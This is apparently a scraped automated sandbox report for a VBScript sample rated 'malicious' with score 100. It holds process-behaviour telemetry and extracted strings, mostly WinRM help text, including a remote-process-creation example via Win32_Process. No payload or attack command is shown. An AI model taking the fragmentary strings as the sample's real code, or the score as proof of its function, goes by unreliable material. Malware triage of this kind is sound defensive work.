trying to touch file "%ALLUSERSPROFILE%\Microsoft\Windows Defender\Platform\4.12.17007.18022-0\SLC.DLL" "WScript.exe" trying to touch file "%WINDIR%\System32\slc.dll" "WScript.exe" trying to touch file "%ALLUSERSPROFILE%\Microsoft\Windows Defender\Platform\4.12.17007.18022-0\SPPC.DLL" "WScript.exe" trying to touch file "%WINDIR%\System32\sppc.dll" "WScript.exe" trying to touch file "%WINDIR%\System32\version.dll" "WScript.exe" trying to touch file "%WINDIR%\System32\kernel32.dll" "WScript.exe" trying to touch file "%WINDIR%\System32\gpapi.dll" "WScript.exe" trying to touch file "%ALLUSERSPROFILE%\Microsoft\Windows Defender\Platform\4.12.17007.18022-0\MpClient.dll" "WScript.exe" trying to touch file "%WINDIR%\System32\advapi32.dll" "WScript.exe" trying to touch file "%ALLUSERSPROFILE%\Microsoft\Windows Defender\Platform\4.12.17007.18022-0\MsMpLics.dll" "WScript.exe" trying to touch file "%WINDIR%\System32\KernelBase.dll" "WScript.exe" trying to touch file "%WINDIR%\System32\propsys.dll" "WScript.exe" trying to touch file "%WINDIR%\System32\OneCoreUAPCommonProxyStub.dll" "WScript.exe" trying to touch file "%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" "WScript.exe" trying to touch file "%WINDIR%\System32\cldapi.dll" "WScript.exe" trying to touch file "%WINDIR%\System32\aepic.dll" "WScript.exe" trying to touch file "%WINDIR%\System32\ntmarta.dll"33:T4a0,Pattern match: "http://schemas.microsoft.com/wbem/wsman/1" Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Service" Heuristic match: "srv.corp.com" Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/wmi" Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/wmi/root/NAMESPACE" Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/windows/shell" Heuristic match: "example.com" Pattern match: "www.example.com" Pattern match: "http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2" Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2" Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Service?Name=WinRM" Pattern match: "schemas.dmtf.org/wbem/wscim/1/cim-schema/2" Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/wmi/root/NAMESPACE[/NAMESPACE]/CLASS" Pattern match: "crosoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Service" Pattern match: "https://machine1" Pattern match: "https://[1:2:3::8]:444/path" Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Service/" Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/*"34:T6f5,"WScript.exe" called "NtQueryAttributesFile" with parameters {"$name": "C:\\windows\\temp\\VxOle64.dll"} "WScript.exe" called "NtQueryAttributesFile" with parameters {"$name": "C:\\WINDOWS\\SYSTEM32\\kernelbase.dll"} "WScript.exe" called "NtQueryAttributesFile" with parameters {"$name": "C:\\WINDOWS\\system32\\rpcss.dll"} "WScript.exe" called "NtQueryAttributesFile" with parameters {"$name": "C:\\WINDOWS\\system32\\uxtheme.dll"} "WScript.exe" called "NtQueryAttributesFile" with parameters {"$name": "C:\\WINDOWS\\System32\\WScript.exe"} "WScript.exe" called "NtQueryAttributesFile" with parameters {"$name": "C:\\WINDOWS\\SYSTEM32\\sxs.dll"} "WScript.exe" called "NtQueryAttributesFile" with parameters {"$name": "C:\\WINDOWS\\system32\\dwmapi.dll"} "WScript.exe" called "NtQueryAttributesFile" with parameters {"$name": "C:\\Windows\\System32\\vbscript.dll"} "WScript.exe" called "NtQueryAttributesFile" with parameters {"$name": "C:\\WINDOWS\\SYSTEM32\\kernel32.dll"} "WScript.exe" called "NtQueryAttributesFile" with parameters {"$name": "C:\\WINDOWS\\SYSTEM32\\amsi.dll"} "WScript.exe" called "NtQueryAttributesFile" with parameters {"$name": "C:\\WINDOWS\\SYSTEM32\\cryptsp.dll"} "WScript.exe" called "NtQueryAttributesFile" with parameters {"$name": "C:\\WINDOWS\\SYSTEM32\\USERENV.dll"} "WScript.exe" called "NtQueryAttributesFile" with parameters {"$name": "C:\\WINDOWS\\TEMP"} "WScript.exe" called "NtQueryAttributesFile" with parameters {"$name": "C:\\ProgramData\\Microsoft\\Windows Defender\\platform\\4.12.17007.18022-0\\MpOav.dll"} "WScript.exe" called "NtQueryAttributesFile" with parameters {"$name": "C:\\WINDOWS\\system32\\MLbPPPQo.dll"} "WScript.exe" called "NtQueryAttributesFile" with parameters {"$name": "C:\\WINDOWS\\SYSTEM32\\WLDP.DLL"}35:T50c,file/memory contains long string with (Indicator: "password"; File: "0b6ef2401f66dd90ec0f2222c5316d47dbde2c4502688dad63fdf2c15ebdc9d4.vbs.bin") Found string "private const L_HelpCertMapping_009_2_Message = " Password - Local password for processing the request."" (Indicator: "password"; File: "0b6ef2401f66dd90ec0f2222c5316d47dbde2c4502688dad63fdf2c15ebdc9d4.vbs.bin") Found string "private const L_HelpCertMapping_017_0_Message = "and password after ensuring that user has access to the resource as "" (Indicator: "password"; File: "0b6ef2401f66dd90ec0f2222c5316d47dbde2c4502688dad63fdf2c15ebdc9d4.vbs.bin") Found string "private const L_HelpCertMapping_020_0_Message = "When creating a new entry or changing the password of an existing entry "" (Indicator: "password"; File: "0b6ef2401f66dd90ec0f2222c5316d47dbde2c4502688dad63fdf2c15ebdc9d4.vbs.bin") Found string "private const L_HelpCertMapping_021_0_Message = "the -r switch must be used since the WinRM service must store the password"" (Indicator: "password"; File: "0b6ef2401f66dd90ec0f2222c5316d47dbde2c4502688dad63fdf2c15ebdc9d4.vbs.bin") Found string "private const L_HelpAuth_004_0_Message = " [-password:PASSWORD]"" (Indicator: "password"; File: "0b6ef2401f66dd90ec0f2222c5316d47dbde2c4502688dad63fdf2c15ebdc9d4.vbs.bin")36:T747,file/memory contains long string with (Indicator: " Win32_Service"; File: "0b6ef2401f66dd90ec0f2222c5316d47dbde2c4502688dad63fdf2c15ebdc9d4.vbs.bin") file/memory contains long string with (Indicator: " Win32_Process"; File: "0b6ef2401f66dd90ec0f2222c5316d47dbde2c4502688dad63fdf2c15ebdc9d4.vbs.bin") Found string "private const L_HelpGet_008_0_Message = "Example: Retrieve spooler instance of Win32_Service class:"" (Indicator: " Win32_Service"; File: "0b6ef2401f66dd90ec0f2222c5316d47dbde2c4502688dad63fdf2c15ebdc9d4.vbs.bin") Found string "private const L_HelpEnum_010_0_Message = "Example: List all instances of Win32_Service class:"" (Indicator: " Win32_Service"; File: "0b6ef2401f66dd90ec0f2222c5316d47dbde2c4502688dad63fdf2c15ebdc9d4.vbs.bin") Found string "'private const X_HelpEnum_014_0_Message = " winrm enum wmicimv2/* -filter:""select * from win32_service where StartMode=\""Auto\"" and State = \""Stopped\"" """" (Indicator: " Win32_Service"; File: "0b6ef2401f66dd90ec0f2222c5316d47dbde2c4502688dad63fdf2c15ebdc9d4.vbs.bin") Found string "private const L_HelpInvoke_016_0_Message = "Example: Call Create method of Win32_Process class with specified parameters:"" (Indicator: " Win32_Process"; File: "0b6ef2401f66dd90ec0f2222c5316d47dbde2c4502688dad63fdf2c15ebdc9d4.vbs.bin") Found string "private const L_HelpGet_00d8_0_Message = "Example: Retrieve spooler instance of Win32_Service class:"" (Indicator: " Win32_Service"; File: "0b6ef2401f66dd90ec0f2222c5316d47dbde2c4502688dad63fdf2c15ebdc9d4.vbs.bin") Found string " [TXT]

CIM_PCVideoController.xsd26-Aug-2020 04:28 60K " (Indicator: "CIM_PCVideoController"; File: "urlref_httpschemas.dmtf.orgwbemwscim1cim-schema2")37:T1adc,"WScript.exe" called "NtMapViewOfSection" with parameters {"sectionHandle": "272" "processHandle": "4294967295" "baseAddress": "cfc0be00" "zeroBits": "0" "commitSize": "0" "viewSize": "376832" "inheritDisposition": "1" "allocationType": "8388608" "win32Protect": "4"} "WScript.exe" called "NtMapViewOfSection" with parameters {"sectionHandle": "288" "processHandle": "4294967295" "baseAddress": "1b35f050" "zeroBits": "0" "commitSize": "0" "viewSize": "1118208" "inheritDisposition": "1" "allocationType": "0" "win32Protect": "2"} "WScript.exe" called "NtMapViewOfSection" with parameters {"sectionHandle": "292" "processHandle": "4294967295" "baseAddress": "cfc0c3f0" "zeroBits": "0" "commitSize": "0" "viewSize": "69632" "inheritDisposition": "1" "allocationType": "8388608" "win32Protect": "4"} "WScript.exe" called "NtMapViewOfSection" with parameters {"sectionHandle": "296" "processHandle": "4294967295" "baseAddress": "cfc0c520" "zeroBits": "0" "commitSize": "0" "viewSize": "610304" "inheritDisposition": "1" "allocationType": "8388608" "win32Protect": "4"} "WScript.exe" called "NtMapViewOfSection" with parameters {"sectionHandle": "348" "processHandle": "4294967295" "baseAddress": "1b35d448" "zeroBits": "0" "commitSize": "0" "viewSize": "3371008" "inheritDisposition": "1" "allocationType": "0" "win32Protect": "2"} "WScript.exe" called "NtMapViewOfSection" with parameters {"sectionHandle": "348" "processHandle": "4294967295" "baseAddress": "1b35df28" "zeroBits": "0" "commitSize": "0" "viewSize": "86016" "inheritDisposition": "1" "allocationType": "0" "win32Protect": "2"} "WScript.exe" called "NtMapViewOfSection" with parameters {"sectionHandle": "356" "processHandle": "4294967295" "baseAddress": "cfc0c060" "zeroBits": "0" "commitSize": "0" "viewSize": "630784" "inheritDisposition": "1" "allocationType": "8388608" "win32Protect": "4"} "WScript.exe" called "NtMapViewOfSection" with parameters {"sectionHandle": "372" "processHandle": "4294967295" "baseAddress": "cfc0c190" "$Status": "40000036" "zeroBits": "0" "commitSize": "0" "viewSize": "1470464" "inheritDisposition": "1" "allocationType": "8388608" "win32Protect": "4"} "WScript.exe" called "NtMapViewOfSection" with parameters {"sectionHandle": "376" "processHandle": "4294967295" "baseAddress": "1b8fe2a8" "zeroBits": "0" "commitSize": "0" "viewSize": "4096" "inheritDisposition": "1" "allocationType": "0" "win32Protect": "2"} "WScript.exe" called "NtMapViewOfSection" with parameters {"sectionHandle": "380" "processHandle": "4294967295" "baseAddress": "1b8fe9c8" "zeroBits": "0" "commitSize": "0" "viewSize": "733184" "inheritDisposition": "1" "allocationType": "0" "win32Protect": "2"} "WScript.exe" called "NtMapViewOfSection" with parameters {"sectionHandle": "384" "processHandle": "4294967295" "baseAddress": "1b8fe9c8" "zeroBits": "0" "commitSize": "0" "viewSize": "16384" "inheritDisposition": "1" "allocationType": "0" "win32Protect": "2"} "WScript.exe" called "NtMapViewOfSection" with parameters {"sectionHandle": "388" "processHandle": "4294967295" "baseAddress": "cfc0c2c0" "zeroBits": "0" "commitSize": "0" "viewSize": "172032" "inheritDisposition": "1" "allocationType": "8388608" "win32Protect": "4"} "WScript.exe" called "NtMapViewOfSection" with parameters {"sectionHandle": "276" "processHandle": "4294967295" "baseAddress": "1b35e148" "zeroBits": "0" "commitSize": "0" "viewSize": "4096" "inheritDisposition": "1" "allocationType": "0" "win32Protect": "2"} "WScript.exe" called "NtMapViewOfSection" with parameters {"sectionHandle": "396" "processHandle": "4294967295" "baseAddress": "cfc0b6e0" "zeroBits": "0" "commitSize": "0" "viewSize": "647168" "inheritDisposition": "1" "allocationType": "8388608" "win32Protect": "4"} "WScript.exe" called "NtMapViewOfSection" with parameters {"sectionHandle": "404" "processHandle": "4294967295" "baseAddress": "1b35d158" "zeroBits": "0" "commitSize": "0" "viewSize": "4096" "inheritDisposition": "1" "allocationType": "0" "win32Protect": "2"} "WScript.exe" called "NtMapViewOfSection" with parameters {"sectionHandle": "412" "processHandle": "4294967295" "baseAddress": "1b35ccc8" "zeroBits": "0" "commitSize": "0" "viewSize": "24576" "inheritDisposition": "1" "allocationType": "0" "win32Protect": "2"} "WScript.exe" called "NtMapViewOfSection" with parameters {"sectionHandle": "420" "processHandle": "4294967295" "baseAddress": "cfc3ce50" "zeroBits": "0" "commitSize": "0" "viewSize": "614400" "inheritDisposition": "1" "allocationType": "8388608" "win32Protect": "4"} "WScript.exe" called "NtMapViewOfSection" with parameters {"sectionHandle": "420" "processHandle": "4294967295" "baseAddress": "cfc3b8f0" "zeroBits": "0" "commitSize": "0" "viewSize": "77824" "inheritDisposition": "1" "allocationType": "8388608" "win32Protect": "4"} "WScript.exe" called "NtMapViewOfSection" with parameters {"sectionHandle": "420" "processHandle": "4294967295" "baseAddress": "cfc3ba20" "zeroBits": "0" "commitSize": "0" "viewSize": "94208" "inheritDisposition": "1" "allocationType": "8388608" "win32Protect": "4"} "WScript.exe" called "NtMapViewOfSection" with parameters {"sectionHandle": "420" "processHandle": "4294967295" "baseAddress": "cfc3cd20" "zeroBits": "0" "commitSize": "0" "viewSize": "167936" "inheritDisposition": "1" "allocationType": "8388608" "win32Protect": "4"} "WScript.exe" called "NtMapViewOfSection" with parameters {"sectionHandle": "424" "processHandle": "4294967295" "baseAddress": "cfc3bb50" "zeroBits": "0" "commitSize": "0" "viewSize": "110592" "inheritDisposition": "1" "allocationType": "8388608" "win32Protect": "4"} "WScript.exe" called "NtMapViewOfSection" with parameters {"sectionHandle": "464" "processHandle": "4294967295" "baseAddress": "cfc3b7c0" "zeroBits": "0" "commitSize": "0" "viewSize": "131072" "inheritDisposition": "1" "allocationType": "8388608" "win32Protect": "4"} "WScript.exe" called "NtMapViewOfSection" with parameters {"sectionHandle": "468" "processHandle": "4294967295" "baseAddress": "cfc3c730" "zeroBits": "0" "commitSize": "0" "viewSize": "270336" "inheritDisposition": "1" "allocationType": "8388608" "win32Protect": "4"} "WScript.exe" called "NtMapViewOfSection" with parameters {"sectionHandle": "468" "processHandle": "4294967295" "baseAddress": "1b35ead8" "zeroBits": "0" "commitSize": "0" "viewSize": "303104" "inheritDisposition": "1" "allocationType": "0" "win32Protect": "2"} "WScript.exe" called "NtMapViewOfSection" with parameters {"sectionHandle": "472" "processHandle": "4294967295" "baseAddress": "cfc3bc80" "zeroBits": "0" "commitSize": "0" "viewSize": "81920" "inheritDisposition": "1" "allocationType": "8388608" "win32Protect": "4"}38:T10e4,"WScript.exe" wrote bytes "00fa0aa2fc7f000090260ca2fc7f000020fe0aa2fc7f0000e0270ca2fc7f0000" to virtual address "0xA230D3B0" (part of module "ADVAPI32.DLL") "WScript.exe" wrote bytes "2041d6a1fc7f0000e0eed3a1fc7f00002044d6a1fc7f0000209bd4a1fc7f000030c6d6a1fc7f0000e043d6a1fc7f00000041d6a1fc7f0000" to virtual address "0xA2C65240" (part of module "SHELL32.DLL") "WScript.exe" wrote bytes "d0d2dea1fc7f0000708adea1fc7f0000" to virtual address "0xA2C65640" (part of module "SHELL32.DLL") "WScript.exe" wrote bytes "4035d6a1fc7f00007021d6a1fc7f0000b0fdd6a1fc7f0000" to virtual address "0xA2C65100" (part of module "SHELL32.DLL") "WScript.exe" wrote bytes "d0b408a4fc7f0000c0b508a4fc7f0000c0ae10a4fc7f0000b06a09a4fc7f000000b408a4fc7f0000b0a408a4fc7f0000f0a910a4fc7f000060a508a4fc7f0000" to virtual address "0xA1FEE038" (part of module "SHLWAPI.DLL") "WScript.exe" wrote bytes "40e99fa0fc7f000020e89fa0fc7f000060e59fa0fc7f000070229ea0fc7f0000" to virtual address "0xA4140118" (part of module "OLEAUT32.DLL") "WScript.exe" wrote bytes "b01300a2fc7f0000801400a2fc7f0000" to virtual address "0xA40581C8" (part of module "COMBASE.DLL") "WScript.exe" wrote bytes "90f8dba3fc7f0000" to virtual address "0xA19E3B10" (part of module "WINDOWS.STORAGE.DLL") "WScript.exe" wrote bytes "707079d10a02000070167ad10a020000600e7ad10a02000080117ad10a020000403c7ad10a020000c09d79d10a02000060357ad10a020000809d79d10a020000400e7ad10a02000060117ad10a020000809679d10a020000" to virtual address "0xA19E3010" (part of module "WINDOWS.STORAGE.DLL") "WScript.exe" wrote bytes "a088cfa0fc7f0000" to virtual address "0x84CFF980" (part of module "VBSCRIPT.DLL") "WScript.exe" wrote bytes "e05b28a2fc7f0000a06428a2fc7f0000206528a2fc7f0000404827a2fc7f0000d0c129a2fc7f0000107728a2fc7f0000d05f28a2fc7f0000207528a2fc7f0000306728a2fc7f0000306428a2fc7f0000105d28a2fc7f0000" to virtual address "0x84D1A000" (part of module "VBSCRIPT.DLL") "WScript.exe" wrote bytes "e03b439ffc7f0000302a439ffc7f0000e021439ffc7f0000e01e439ffc7f0000c035439ffc7f0000b015439ffc7f0000c026449ffc7f0000c014439ffc7f0000" to virtual address "0x9F2510F0" (part of module "UXTHEME.DLL") "WScript.exe" wrote bytes "e03cd6a1fc7f0000d01ed6a1fc7f0000703dd6a1fc7f0000" to virtual address "0xA19E3E08" (part of module "WINDOWS.STORAGE.DLL") "WScript.exe" wrote bytes "20fe0aa2fc7f000000fa0aa2fc7f0000" to virtual address "0xA40580D8" (part of module "COMBASE.DLL") "WScript.exe" wrote bytes "802fdfa1fc7f0000a03ddfa1fc7f0000" to virtual address "0xA1DD02C0" (part of module "SHCORE.DLL") "WScript.exe" wrote bytes "0075dea1fc7f0000d0d2dea1fc7f000060dedea1fc7f0000" to virtual address "0xA19E3C00" (part of module "WINDOWS.STORAGE.DLL") "WScript.exe" wrote bytes "601f59a0fc7f0000301e59a0fc7f0000c01e59a0fc7f0000" to virtual address "0x9FFED018" (part of module "RSAENH.DLL") "WScript.exe" wrote bytes "1075d3a1fc7f0000" to virtual address "0xA1FEE558" (part of module "SHLWAPI.DLL") "WScript.exe" wrote bytes "c08dd6a1fc7f0000301fd6a1fc7f0000" to virtual address "0xA19E3EF8" (part of module "WINDOWS.STORAGE.DLL") "WScript.exe" wrote bytes "f0c0a4a1fc7f000030eaa7a1fc7f0000303fa2a1fc7f00001024a8a1fc7f00009080a2a1fc7f0000c04ba2a1fc7f00008024a8a1fc7f00006072a5a1fc7f000030f2a2a1fc7f00008005a4a1fc7f0000" to virtual address "0xA4184270" (part of module "GDI32.DLL") "WScript.exe" wrote bytes "802227a1fc7f0000b04128a1fc7f0000e02126a1fc7f0000d02026a1fc7f0000803226a1fc7f0000802726a1fc7f0000802326a1fc7f0000f01626a1fc7f0000c01427a1fc7f0000a01d28a1fc7f0000c06b26a1fc7f0000" to virtual address "0xA230D1D8" (part of module "ADVAPI32.DLL") "WScript.exe" wrote bytes "703757a0fc7f0000202a57a0fc7f0000f02157a0fc7f0000102157a0fc7f0000f02257a0fc7f0000101f57a0fc7f0000c02857a0fc7f0000804457a0fc7f0000" to virtual address "0xA12B4000" (part of module "WINTRUST.DLL") "WScript.exe" wrote bytes "b001f2a0fc7f0000" to virtual address "0xA24671A8" (part of module "RPCRT4.DLL") "WScript.exe" wrote bytes "10382b91fc7f0000101a2b91fc7f000060122b91fc7f000000122b91fc7f0000905c2b91fc7f0000a0662b91fc7f000040ac2b91fc7f000060a82b91fc7f000010af2b91fc7f000020b12b91fc7f0000e0af2b91fc7f000080b02b91fc7f0000" to virtual address "0xA19E3070" (part of module "WINDOWS.STORAGE.DLL") "WScript.exe" wrote bytes "b01ff2a3fc7f0000a043d8a3fc7f0000" to virtual address "0xA2099138" (part of module "CLBCATQ.DLL")39:T1579,", options, etc." private const L_HelpHelp_026_0_Message = " winrm help proxy Providing proxy information." ''''''''''''''''''''' ' HELP - GET private const L_HelpGet_000_0_Message = "winrm get RESOURCE_URI [-SWITCH:VALUE [-SWITCH:VALUE] ...]" private const L_HelpGet_001_0_Message = "" private const L_HelpGet_002_0_Message = "Retrieves instances of RESOURCE_URI using specified " private const L_HelpGet_003_0_Message = "options and key-value pairs." private const L_HelpGet_004_0_Message = "" private const L_HelpGet_005_0_Message = "Example: Retrieve current configuration in XML format:" private const X_HelpGet_006_0_Message = " winrm get winrm/config -format:pretty" private const L_HelpGet_007_0_Message = "" private const L_HelpGet_008_0_Message = "Example: Retrieve spooler instance of Win32_Service class:" private const X_HelpGet_009_0_Message = " winrm get wmicimv2/Win32_Service?Name=spooler" private const L_HelpGet_010_0_Message" (Indicator: " win32_service"; File: "0b6ef2401f66dd90ec0f2222c5316d47dbde2c4502688dad63fdf2c15ebdc9d4.vbs.bin"), "e class specified" private const L_HelpEnum_006_22_Message = "in the resource URI. When -Shallow is specified this flag has no effect. " private const L_HelpEnum_006_23_Message = "" private const L_HelpEnum_007_0_Message = "Example: List all WinRM listeners on this machine:" private const X_HelpEnum_008_0_Message = " winrm enumerate winrm/config/Listener" private const L_HelpEnum_009_0_Message = "" private const L_HelpEnum_010_0_Message = "Example: List all instances of Win32_Service class:" private const X_HelpEnum_011_0_Message = " winrm enumerate wmicimv2/Win32_Service" private const L_HelpEnum_012_0_Message = "" 'private const L_HelpEnum_013_0_Message = "Example: List all auto start services that are stopped:" 'private const X_HelpEnum_014_0_Message = " winrm enum wmicimv2/* -filter:""select * from win32_service where StartMode=\""Auto\"" and State = \""Stopped\"" """ 'private const L_HelpEnum_015_0_Message = "" private const L_HelpEnum_016_0" (Indicator: " win32_service"; File: "0b6ef2401f66dd90ec0f2222c5316d47dbde2c4502688dad63fdf2c15ebdc9d4.vbs.bin") "/root/cimv2/Win32_Service""/>" private const L_HelpInvoke_015_0_Message = "" private const L_HelpInvoke_016_0_Message = "Example: Call Create method of Win32_Process class with specified parameters:" private const X_HelpInvoke_017_0_Message = " winrm invoke Create wmicimv2/Win32_Process @{CommandLine=""notepad.exe"";CurrentDirectory=""C:\""}" private const L_HelpInvoke_018_0_Message = "" private const L_HelpInvoke_019_0_Message = "Example: Restore the default winrm configuration:" private const L_HelpInvoke_019_1_Message = "Note that this will not restore the default winrm plugin configuration:" private const X_HelpInvoke_020_0_Message = " winrm invoke restore winrm/config @{}" private const L_HelpInvoke_021_0_Message = "" private const L_HelpInvoke_022_0_Message = "Example: Restore the default winrm plugin configuration:" private const L_HelpInvoke_022_1_Message = "Note that all external plugins will be unregistered during this operation:" private cons" (Indicator: " win32_process"; File: "0b6ef2401f66dd90ec0f2222c5316d47dbde2c4502688dad63fdf2c15ebdc9d4.vbs.bin"), "te const L_HelpGet_00d8_0_Message = "Example: Retrieve spooler instance of Win32_Service class:" private const X_HelpGet_00d9_0_Message = " winrm get wmicimv2/Win32_Service?Name=spooler" private const L_HelpGet_01d0_0_Message = "" private const L_HelpGet_01d4_0_Message = "Example: Retrieve a certmapping entry on this machine:" private const X_HelpGet_01dd5_0_Message = " winrm get winrm/config/service/certmapping?Issuer=1212131238d84023982e381f20391a2935301923+Subject=*.example.com+URI=wmicimv2/*" private const L_HelpGet_01d6_0_Message = "" : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : :" (Indicator: " win32_service"; File: "0b6ef2401f66dd90ec0f2222c5316d47dbde2c4502688dad63fdf2c15ebdc9d4.vbs.bin"), "private const L_HelpGet_008_0_Message = "Example: Retrieve spooler instance of Win32_Service class:"" (Indicator: " win32_service"; File: "0b6ef2401f66dd90ec0f2222c5316d47dbde2c4502688dad63fdf2c15ebdc9d4.vbs.bin"), "private const L_HelpEnum_010_0_Message = "Example: List all instances of Win32_Service class:"" (Indicator: " win32_service"; File: "0b6ef2401f66dd90ec0f2222c5316d47dbde2c4502688dad63fdf2c15ebdc9d4.vbs.bin"), "'private const X_HelpEnum_014_0_Message = " winrm enum wmicimv2/* -filter:""select * from win32_service where StartMode=\""Auto\"" and State = \""Stopped\"" """" (Indicator: " win32_service"; File: "0b6ef2401f66dd90ec0f2222c5316d47dbde2c4502688dad63fdf2c15ebdc9d4.vbs.bin"), "private const L_HelpInvoke_016_0_Message = "Example: Call Create method of Win32_Process class with specified parameters:"" (Indicator: " win32_process"; File: "0b6ef2401f66dd90ec0f2222c5316d47dbde2c4502688dad63fdf2c15ebdc9d4.vbs.bin"), "private const L_HelpGet_00d8_0_Message = "Example: Retrieve spooler instance of Win32_Service class:"" (Indicator: " win32_service"; File: "0b6ef2401f66dd90ec0f2222c5316d47dbde2c4502688dad63fdf2c15ebdc9d4.vbs.bin")3a:T53a,Found string "age = " WMI path = \\root\cimv2\Win32_Service" private const X_HelpUris_013_1_Message = " URI = http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Service?Name=WinRM" private const X_HelpUris_014_0_Message = " ALIAS = wmi/root/cimv2/Win32_Service?Name=WinRM" private const L_HelpUris_015_0_Message = "" private const L_HelpUris_015_1_Message = "When enumerating WMI instances using a WQL filter " private const L_HelpUris_015_2_Message = "the CLASS must be ""*"" (star) and no selectors should be specified." private const L_HelpUris_015_3_Message = "Example:" private const X_HelpUris_015_4_Message = "URI = http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/*" private const L_HelpUris_015_5_Message = "" private const L_HelpUris_015_6_Message = "When accesing WMI singleton instances no selectors should be specified." private const L_HelpUris_015_7_Message = "Example:" private const X_HelpUris_015_8_Message = "URI = http://schemas.mi" (Indicator: "root\cimv2"; in File: "0b6ef2401f66dd90ec0f2222c5316d47dbde2c4502688dad63fdf2c15ebdc9d4.vbs.bin"), Found string "private const X_HelpUris_013_0_Message = " WMI path = \\root\cimv2\Win32_Service"" (Indicator: "root\cimv2"; in File: "0b6ef2401f66dd90ec0f2222c5316d47dbde2c4502688dad63fdf2c15ebdc9d4.vbs.bin")1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"0b6ef2401f66dd90ec0f2222c5316d47dbde2c4502688dad63fdf2c15ebdc9d4","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1791171356954,"unified_at":"2026-10-05T03:35:56.954Z","metadata":{"hashes":{"sha256":"0b6ef2401f66dd90ec0f2222c5316d47dbde2c4502688dad63fdf2c15ebdc9d4","sha1":"f29950c87fb376b9d414d25d1b2821cec8fd0b3a","md5":"3e0caf66eab8ed2dac1079181fad1f23","sha512":"cc916e631369f089d25d3ad21b4fcdf5a451456123adf26c26c492b61ad51ccbab2a18fc6da9d38af2eddf05dff9b1a13674729817c532a080e7ce09e1a6e17e","ssdeep":"1536:Q4mdjCKN/y6YEoYFt6C24qNj5Sv6F7BeGTjP77Uj05E5boW2f2Wxp0:Q4m8w/cYF0Nj5Y6FjfPPUj052fc0","ssdeep_chunks":["1536:Q4mdjCK","1536:4mdjCKN","1536:mdjCKN/","1536:djCKN/y","1536:jCKN/y6","1536:CKN/y6Y","1536:KN/y6YE","1536:N/y6YEo","1536:/y6YEoY","1536:y6YEoYF","1536:6YEoYFt","1536:YEoYFt6","1536:EoYFt6C","1536:oYFt6C2","1536:YFt6C24","1536:Ft6C24q","1536:t6C24qN","1536:6C24qNj","1536:C24qNj5","1536:24qNj5S","1536:4qNj5Sv","1536:qNj5Sv6","1536:Nj5Sv6F","1536:j5Sv6F7","1536:5Sv6F7B","1536:Sv6F7Be","1536:v6F7BeG","1536:6F7BeGT","1536:F7BeGTj","1536:7BeGTjP","1536:BeGTjP7","1536:eGTjP77","1536:GTjP77U","1536:TjP77Uj","1536:jP77Uj0","1536:P77Uj05","1536:77Uj05E","1536:7Uj05E5","1536:Uj05E5b","1536:j05E5bo","1536:05E5boW","1536:5E5boW2","1536:E5boW2f","1536:5boW2f2","1536:boW2f2W","1536:oW2f2Wx","1536:W2f2Wxp","1536:2f2Wxp0","3072:Q4mdjCK","3072:4mdjCKN","3072:mdjCKN/","3072:djCKN/y","3072:jCKN/y6","3072:CKN/y6Y","3072:KN/y6YE","3072:N/y6YEo","3072:/y6YEoY","3072:y6YEoYF","3072:6YEoYFt","3072:YEoYFt6","3072:EoYFt6C","3072:oYFt6C2","3072:YFt6C24","3072:Ft6C24q","3072:t6C24qN","3072:6C24qNj","3072:C24qNj5","3072:24qNj5S","3072:4qNj5Sv","3072:qNj5Sv6","3072:Nj5Sv6F","3072:j5Sv6F7","3072:5Sv6F7B","3072:Sv6F7Be","3072:v6F7BeG","3072:6F7BeGT","3072:F7BeGTj","3072:7BeGTjP","3072:BeGTjP7","3072:eGTjP77","3072:GTjP77U","3072:TjP77Uj","3072:jP77Uj0","3072:P77Uj05","3072:77Uj05E","3072:7Uj05E5","3072:Uj05E5b","3072:j05E5bo","3072:05E5boW","3072:5E5boW2","3072:E5boW2f","3072:5boW2f2","3072:boW2f2W","3072:oW2f2Wx","3072:W2f2Wxp","3072:2f2Wxp0","1536:Q4m8w/c","1536:4m8w/cY","1536:m8w/cYF","1536:8w/cYF0","1536:w/cYF0N","1536:/cYF0Nj","1536:cYF0Nj5","1536:YF0Nj5Y","1536:F0Nj5Y6","1536:0Nj5Y6F","1536:Nj5Y6Fj","1536:j5Y6Fjf","1536:5Y6FjfP","1536:Y6FjfPP","1536:6FjfPPU","1536:FjfPPUj","1536:jfPPUj0","1536:fPPUj05","1536:PPUj052","1536:PUj052f","1536:Uj052fc","1536:j052fc0"],"imphash":"Unknown"},"file_info":{"file_name":"43564.vbs","file_type":["script","vbs"],"file_type_id":"vbs","file_size":301736,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1684912515000,"last_seen":1691233628000,"last_multi_scan":1691233628000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["evasive"]},"stats":{"av":{"malicious_count":0,"suspicious_count":0,"total_engines":0},"attributions":{"malware_families_count":0,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":33},"sandbox_signatures":{"informative_count":65,"suspicious_count":6,"malicious_count":1,"total":72},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{}},"rule_matches":{},"attributions":{},"mitre_attacks":[{"tactic":"Execution","technique":"Native 